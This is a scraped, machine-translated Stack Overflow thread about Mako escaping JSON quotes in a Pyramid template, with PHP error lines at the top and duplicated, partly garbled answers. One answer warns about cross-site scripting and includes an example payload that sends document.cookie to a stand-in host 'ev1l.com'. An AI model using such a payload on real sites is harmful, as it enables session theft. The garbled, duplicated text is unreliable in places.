Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/python/316.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
" 出现在JSONECODER输出中,输入是Python字符串列表_Python_Json_Pyramid_Python 2.6_Mako - Fatal编程技术网

" 出现在JSONECODER输出中,输入是Python字符串列表

" 出现在JSONECODER输出中,输入是Python字符串列表,python,json,pyramid,python-2.6,mako,Python,Json,Pyramid,Python 2.6,Mako,我正在读取一个文本文件,在\n上拆分它,并将结果放入Python列表中 然后我使用了jsonecoder().encode(mylist),但结果在生成javascript时抛出错误: var jslist = ["List item 1", "List item 2"] 我猜切换到单引号可以解决这个问题,但不清楚如何强制JSONECODER/python使用其中一个 更新:上下文是一个金字塔应用程序,下面是函数的结尾(组件是列表

我正在读取一个文本文件,在
\n
上拆分它,并将结果放入Python列表中

然后我使用了
jsonecoder().encode(mylist)
,但结果在生成javascript时抛出错误:

var jslist = ["List item 1", "List item 2"]
我猜切换到单引号可以解决这个问题,但不清楚如何强制JSONECODER/python使用其中一个

更新:上下文是一个金字塔应用程序,下面是函数的结尾(组件是列表的名称:

return {'components': JSONEncoder().encode(components)}
然后在mako模板中:

var components = ${components};

它将被如上所述替换。

mako正在转义字符串,因为它在大多数情况下都是正常的默认值。您可以根据具体情况关闭转义:


${components | n}

mako正在对字符串进行转义,因为它在大多数情况下都是正常的默认值。您可以根据具体情况关闭转义:


${components|n}

如果要在HTML页面上嵌入JSON,请小心。由于Mako不知道脚本标记,因此它继续使用标准转义来转义字符串。但是,
标记有不同的转义规则。值得注意的是,如果JSON包含用户生成的数据,不转义会使您的站点容易受到跨站点脚本攻击。C在用户可编辑字段(User.name)中考虑以下信息

user.name=“”+
“文件。写(“”);”
遗憾的是,Python JSON编码器没有一个安全编码JSON的选项,因此
可嵌入HTML甚至Javascript(Python bug db中输入了一个bug)。同时,如果要在HTML页面上嵌入JSON,则应使用
确保_ascii=True
+替换所有
”。由于Mako不知道脚本标记,因此它继续使用标准转义来转义字符串。但是
标记有不同的转义规则。值得注意的是,不转义会使您的站点容易出现CRO如果JSON包含用户生成的数据,则使用S-站点脚本攻击。在用户可编辑字段(用户名称)

中考虑以下信息
user.name=“”+
“文件。写(“”);”
遗憾的是,Python JSON编码器没有一个安全编码JSON的选项,因此
可嵌入HTML甚至Javascript(Python bug db中输入了一个bug)。同时,您应该使用
确保_ascii=True
+替换所有
“JSONECODER不这样做,最有可能的结果输出是转义特殊字符。您将它传递给什么?使用金字塔/Mako详细信息更新。JSONECODER不这样做,最有可能的是您给出的任何内容n结果输出是转义特殊字符。您要将其传递给什么?使用Pyramid/Mako详细信息更新。
 user.name = "</script><script language='javascript'>" +
     "document.write('<img src=\'http://ev1l.com/stealcookies/?'" +
     "+ document.cookie + '/>');</script><script language='vbscript'>"